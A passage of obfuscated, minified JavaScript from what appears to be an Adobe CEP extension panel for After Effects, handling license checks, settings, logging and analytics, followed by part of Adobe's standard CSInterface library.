                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 21 - t)
                    }).join("")
                }(11, 146) + 19182..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 1 - t)
                    }).join("")
                }(27, 145, 136)] = V), i(s, e), r(s, t), s
            }

            function i(A, e) {
                if (A[35524..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 13 - t)
                        }).join("")
                    }(34, 164) + 21..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 54 - t)
                        }).join("")
                    }(63, 233)] !== T);
                else if (0 == e) A[35524..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 43 - t)
                    }).join("")
                }(2, 163, 154, 162)] = K;
                else {
                    var t = A[13..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 51 - t)
                        }).join("")
                    }(55, 203) + 34..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 11 - t)
                        }).join("")
                    }(18, 144)];
                    if (void 0 === t) return void(A[35524..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 55 - t)
                        }).join("")
                    }(41, 214, 205, 213)] = O);
                    var i = e - t;
                    i > 0 ? (A[986..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 20 - t)
                        }).join("")
                    }(2, 137) + 30..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 63 - t)
                        }).join("")
                    }(50, 221) + 29..toString(36).toLowerCase()] = G, A[function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 27 - t)
                        }).join("")
                    }(41, 174, 105, 180, 168, 175, 183, 184) + 14212..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 770..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 22 - t)
                        }).join("")
                    }(46, 170) + 29..toString(36).toLowerCase()] = i, A[function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 50 - t)
                        }).join("")
                    }(4, 168, 158, 155, 160, 162) + 1022..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 29..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 23 - t)
                        }).join("")
                    }(3, 147) + 914..toString(36).toLowerCase()] = function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 61 - t)
                        }).join("")
                    }(55, 200) + 1249..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -39)
                    }).join("") + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 29 - t)
                        }).join("")
                    }(58, 164, 152)) : A[35524..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 24 - t)
                        }).join("")
                    }(32, 174, 165, 173)] = X
                }
            }

            function r(A, e) {
                var t = A[27..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 52 - t)
                        }).join("")
                    }(10, 163) + 1038..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 9 - t)
                        }).join("")
                    }(6, 132, 123)],
                    i = A[27876..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 50 - t)
                        }).join("")
                    }(37, 188) + 30830..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 29..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 10 - t)
                        }).join("")
                    }(60, 183, 191) + 14..toString(36).toLowerCase()] == function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 22 - t)
                        }).join("")
                    }(40, 128) + 10..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -13)
                    }).join("") + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 25 - t)
                        }).join("")
                    }(25, 115);
                e && (p(t) || t == K || t == T) ? A[986..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 56 - t)
                    }).join("")
                }(46, 212, 220, 217) + 29..toString(36).toLowerCase()] = _ : !e && i && (A[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 51 - t)
                    }).join("")
                }(39, 204) + 19182..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 4 - t)
                    }).join("")
                }(60, 172) + 29..toString(36).toLowerCase()] = W)
            }

            function o(A) {
                return A = A.trim(), "'" == A[0] && "'" == A[A.length - 1] && (A = A.substring(1, A.length - 1)), A
            }
            var n = (new Y)[21..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 17 - t)
                }).join("")
            }(17, 145) + 16..toString(36).toLowerCase()];
            return A
        }(),
        $ = 22..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 12 - t)
            }).join("")
        }(17, 141, 137) + 32..toString(36).toLowerCase(),
        AA = function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 58 - t)
            }).join("")
        }(19, 186, 179) + 24..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 4 - t)
            }).join("")
        }(41, 164),
        eA = 8..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 6 - t)
            }).join("")
        }(18, 76, 74, 79) + 9..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 23 - t)
            }).join("")
        }(13, 92),
        tA = 34..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 10..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -13)
        }).join("") + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 53 - t)
            }).join("")
        }(52, 176, 182) + 29..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -71)
        }).join("") + 35..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 11..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -13)
        }).join("") + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 1 - t)
            }).join("")
        }(13, 90),
        iA = 1..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 34 - t)
            }).join("")
        }(42, 124),
        rA = 2..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 6 - t)
            }).join("")
        }(2, 57, 54) + 30..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -71)
        }).join("") + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 54 - t)
            }).join("")
        }(29, 133),
        oA = new Y,
        nA = new g($, oA),
        sA = function() {
            var e = [function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 6 - t)
                }).join("")
            }(7, 72, 60, 79, 98) + 8503278..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 22 - t)
                }).join("")
            }(42, 116, 113)];
            A[28025301..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 18 - t)
                }).join("")
            }(54, 184, 194, 198, 184, 172, 184, 138, 173) + 460..toString(36).toLowerCase() + 10..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -13)
            }).join("") + 59398897516..toString(36).toLowerCase() + 19..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 16 - t)
                }).join("")
            }(26, 145, 143, 153)] && e.push(A[778480..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 44 - t)
                }).join("")
            }(41, 187, 193) + 17..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + 1825471871020..toString(36).toLowerCase() + 10..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -13)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 7 - t)
                }).join("")
            }(37, 158) + 625774444..toString(36).toLowerCase() + 19..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 54 - t)
                }).join("")
            }(55, 210, 220) + 14..toString(36).toLowerCase()]);
            var t = {};
            return t[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 0 - t)
                }).join("")
            }(33, 131, 143) + 22..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 17 - t)
                }).join("")
            }(44, 162)] = $, t[1130..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 56 - t)
                }).join("")
            }(40, 210) + 36960..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 63 - t)
                }).join("")
            }(50, 223)] = A.productVersion, t[28..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 25 - t)
                }).join("")
            }(34, 166) + 13..toString(36).toLowerCase() + 12..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -13)
            }).join("") + 531..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 4 - t)
                }).join("")
            }(15, 134) + 672..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 38 - t)
                }).join("")
            }(5, 153)] = rA, nA.setItem(49981988..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 2 - t)
                }).join("")
            }(55, 168, 162) + 16..toString(36).toLowerCase() + 19..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 33 - t)
                }).join("")
            }(51, 202, 187, 185, 195), e), new l(e, t, nA)
        }(),
        aA = function(A) {
            var e, t, i = (new I).getSystemPath(o.EXTENSION),
                r = i + 31..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 777327430..toString(36).toLowerCase() + 31..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 10..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 34 - t)
                    }).join("")
                }(4, 92, 160, 143, 148, 158, 162, 148, 136, 148) + 25656..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 38 - t)
                    }).join("")
                }(27, 175),
                n = window.cep.fs.readFile(r);
            if (n.data) {
                try {
                    t = JSON.parse(n.data)
                } catch (A) {
                    return e = 21314785..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 30701..toString(36).toLowerCase() + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 910..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 48 - t)
                        }).join("")
                    }(57, 237, 223, 172, 233, 234, 238, 236, 237, 218, 150, 226, 227, 229, 216, 145, 222, 222, 225, 215, 140, 208, 221, 219) + 23096096812..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 16 - t)
                        }).join("")
                    }(23, 152, 155, 145) + 23..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 19 - t)
                        }).join("")
                    }(41, 118) + 16..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join(""), e += A.toString(), oA[function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 27 - t)
                        }).join("")
                    }(39, 174) + 24..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 3 - t)
                        }).join("")
                    }(60, 166)](e), {
                        err: e
                    }
                }
                return new c(t, A)
            }
            return e = 456..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 10 - t)
                }).join("")
            }(24, 148, 144, 73, 156, 150, 148, 69, 136, 143, 151) + 841..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 18 - t)
                }).join("")
            }(38, 176, 174, 175, 156, 88) + 886..toString(36).toLowerCase() + 31..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 496749..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 28 - t)
                }).join("")
            }(21, 171, 161, 100, 168, 151, 156, 166, 170) + 24..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 18 - t)
                }).join("")
            }(28, 156), oA[21..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 11 - t)
                }).join("")
            }(7, 129) + 16..toString(36).toLowerCase()](e), {
                err: e
            }
        }(sA);
    oA.setAnalytics(sA);
    var IA = new d(AA, eA, iA, j),
        lA = new E(tA, J, oA, nA),
        cA = null !== e,
        BA = cA ? new h(A) : void 0;
    (function() {
        if (M(J), x.init(), cA) {
            m();
            var e = 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 10..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 46 - t)
                }).join("")
            }(26, 185, 122, 191, 191, 184, 170) + 855887..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 35 - t)
                }).join("")
            }(55, 199, 200, 206, 192, 198, 192, 138, 192, 205) + 13..toString(36).toLowerCase();
            (new I).addEventListener("com.aescripts.flow" + e, function() {
                BA.hideAllLicenseNotifications(), P()
            }), P(), L(), k(), b[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 46 - t)
                }).join("")
            }(18, 175, 169) + 677..toString(36).toLowerCase()](A)
        }
    })(), this[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 37 - t)
        }).join("")
    }(12, 146) + 838..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 60 - t)
        }).join("")
    }(37, 205) + 1624548..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 18 - t)
        }).join("")
    }(58, 191)] = aA, this[21..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 22 - t)
        }).join("")
    }(35, 168) + 16..toString(36).toLowerCase()] = oA.log, this[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 49 - t)
        }).join("")
    }(1, 161, 152, 153, 155, 149) + 28..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 855887..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 15 - t)
        }).join("")
    }(43, 160, 173)] = y, this[927..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 5 - t)
        }).join("")
    }(44, 166, 152, 150) + 35..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 49863976..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 15 - t)
        }).join("")
    }(19, 135)] = nA, this[36821..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 13802..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 4 - t)
        }).join("")
    }(54, 129, 166) + 21..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 44 - t)
        }).join("")
    }(46, 206, 196, 171, 209, 209, 202, 211) + 30..toString(36).toLowerCase()] = b.setPanelFlyoutMenu, this[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 53 - t)
        }).join("")
    }(60, 231, 217, 199, 219, 233, 213, 215, 226, 230) + 525..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 19002..toString(36).toLowerCase() + 25..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 63 - t)
        }).join("")
    }(25, 204) + 526..toString(36).toLowerCase()] = b.updatePanelMenuItem, this[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 0 - t)
        }).join("")
    }(56, 166, 128, 169, 159, 169, 167) + 494656..toString(36).toLowerCase() + 31..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 23..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 30 - t)
        }).join("")
    }(41, 175, 168) + 14..toString(36).toLowerCase()] = B
}
CSXSWindowType._PANEL = "Panel", CSXSWindowType._MODELESS = "Modeless", CSXSWindowType._MODAL_DIALOG = "ModalDialog", EvalScript_ErrMessage = "EvalScript error.", Version.MAX_NUM = 999999999, CSEvent.prototype.data = "", SystemPath.USER_DATA = "userData", SystemPath.COMMON_FILES = "commonFiles", SystemPath.MY_DOCUMENTS = "myDocuments", SystemPath.APPLICATION = "application", SystemPath.EXTENSION = "extension", SystemPath.HOST_APPLICATION = "hostApplication", ColorType.RGB = "rgb", ColorType.GRADIENT = "gradient", ColorType.NONE = "none", CSInterface.THEME_COLOR_CHANGED_EVENT = "com.adobe.csxs.events.ThemeColorChanged", CSInterface.prototype.hostEnvironment = JSON.parse(window.__adobe_cep__.getHostEnvironment()), CSInterface.prototype.getHostEnvironment = function() {
    return this.hostEnvironment = JSON.parse(window.__adobe_cep__.getHostEnvironment()), this.hostEnvironment
}, CSInterface.prototype.closeExtension = function() {
    window.__adobe_cep__.closeExtension()
}, CSInterface.prototype.getSystemPath = function(A) {
    var e = decodeURI(window.__adobe_cep__.getSystemPath(A)),
        t = this.getOSInformation();
    return t.indexOf("Windows") >= 0 ? e = e.replace("file:///", "") : t.indexOf("Mac") >= 0 && (e = e.replace("file://", "")), e
}, CSInterface.prototype.evalScript = function(A, e) {
    null !== e && void 0 !== e || (e = function(A) {}), window.__adobe_cep__.evalScript(A, e)
}, CSInterface.prototype.getApplicationID = function() {
    return this.hostEnvironment.appId
}, CSInterface.prototype.getHostCapabilities = function() {
    return JSON.parse(window.__adobe_cep__.getHostCapabilities())
}, CSInterface.prototype.dispatchEvent = function(A) {
    "object" == typeof A.data && (A.data = JSON.stringify(A.data)), window.__adobe_cep__.dispatchEvent(A)
}, CSInterface.prototype.addEventListener = function(A, e, t) {
    window.__adobe_cep__.addEventListener(A, e, t)
}, CSInterface.prototype.removeEventListener = function(A, e, t) {
    window.__adobe_cep__.removeEventListener(A, e, t)
}, CSInterface.prototype.requestOpenExtension = function(A, e) {
    window.__adobe_cep__.requestOpenExtension(A, e)
}, CSInterface.prototype.getExtensions = function(A) {
    var e = JSON.stringify(A),
        t = window.__adobe_cep__.getExtensions(e);
    return JSON.parse(t)
}, CSInterface.prototype.getNetworkPreferences = function() {
    var A = window.__adobe_cep__.getNetworkPreferences();
    return JSON.parse(A)
}, CSInterface.prototype.initResourceBundle = function() {
    for (var A = JSON.parse(window.__adobe_cep__.initResourceBundle()), e = document.querySelectorAll("[data-locale]"), t = 0; t < e.length; t++) {
        var i = e[t],
            r = i.getAttribute("data-locale");
        if (r)
            for (var o in A)
                if (0 === o.indexOf(r)) {
                    var n = A[o];
                    if (o.length == r.length) i.innerHTML = n;
                    else if ("." == o.charAt(r.length)) {
                        var s = o.substring(r.length + 1);
                        i[s] = n
                    }
                }
    }
    return A
}, CSInterface.prototype.dumpInstallationInfo = function() {
    return window.__adobe_cep__.dumpInstallationInfo()
}, CSInterface.prototype.getOSInformation = function() {
    var A = navigator.userAgent;
    if ("Win32" == navigator.platform || "Windows" == navigator.platform) {
        var e = "Windows",
            t = "";
        return A.indexOf("Windows") > -1 && (A.indexOf("Windows NT 5.0") > -1 ? e = "Windows 2000" : A.indexOf("Windows NT 5.1") > -1 ? e = "Windows XP" : A.indexOf("Windows NT 5.2") > -1 ? e = "Windows Server 2003" : A.indexOf("Windows NT 6.0") > -1 ? e = "Windows Vista" : A.indexOf("Windows NT 6.1") > -1 ? e = "Windows 7" : A.indexOf("Windows NT 6.2") > -1 ? e = "Windows 8" : A.indexOf("Windows NT 6.3") > -1 ? e = "Windows 8.1" : A.indexOf("Windows NT 10") > -1 && (e = "Windows 10"), t = A.indexOf("WOW64") > -1 || A.indexOf("Win64") > -1 ? " 64-bit" : " 32-bit"), e + t
    }
    if ("MacIntel" == navigator.platform || "Macintosh" == navigator.platform) {
        var i = "Mac OS X";
        return A.indexOf("Mac OS X") > -1 && (i = A.substring(A.indexOf("Mac OS X"), A.indexOf(")")), i = i.replace(/_/g, ".")), i
    }
    return "Unknown Operation System"
}, CSInterface.prototype.openURLInDefaultBrowser = function(A) {
    return cep.util.openURLInDefaultBrowser(A)
}, CSInterface.prototype.getExtensionID = function() {
    return window.__adobe_cep__.getExtensionId()
}, CSInterface.prototype.getScaleFactor = function() {
    return window.__adobe_cep__.getScaleFactor()
}, CSInterface.prototype.setScaleFactorChangedHandler = function(A) {
    window.__adobe_cep__.setScaleFactorChangedHandler(A)
}, CSInterface.prototype.getCurrentApiVersion = function() {
    return JSON.parse(window.__adobe_cep__.getCurrentApiVersion())
}, CSInterface.prototype.setPanelFlyoutMenu = function(A) {
    "string" == typeof A && window.__adobe_cep__.invokeSync("setPanelFlyoutMenu", A)
}, CSInterface.prototype.updatePanelMenuItem = function(A, e, t) {
    var i = !1;
    if (this.getHostCapabilities().EXTENDED_PANEL_MENU) {
        var r = new MenuItemStatus(A, e, t);
        i = window.__adobe_cep__.invokeSync("updatePanelMenuItem", JSON.stringify(r))
    }
    return i
}, CSInterface.prototype.setContextMenu = function(A, e) {
    "string" == typeof A && window.__adobe_cep__.invokeAsync("setContextMenu", A, e)
}, CSInterface.prototype.setContextMenuByJSON = function(A, e) {
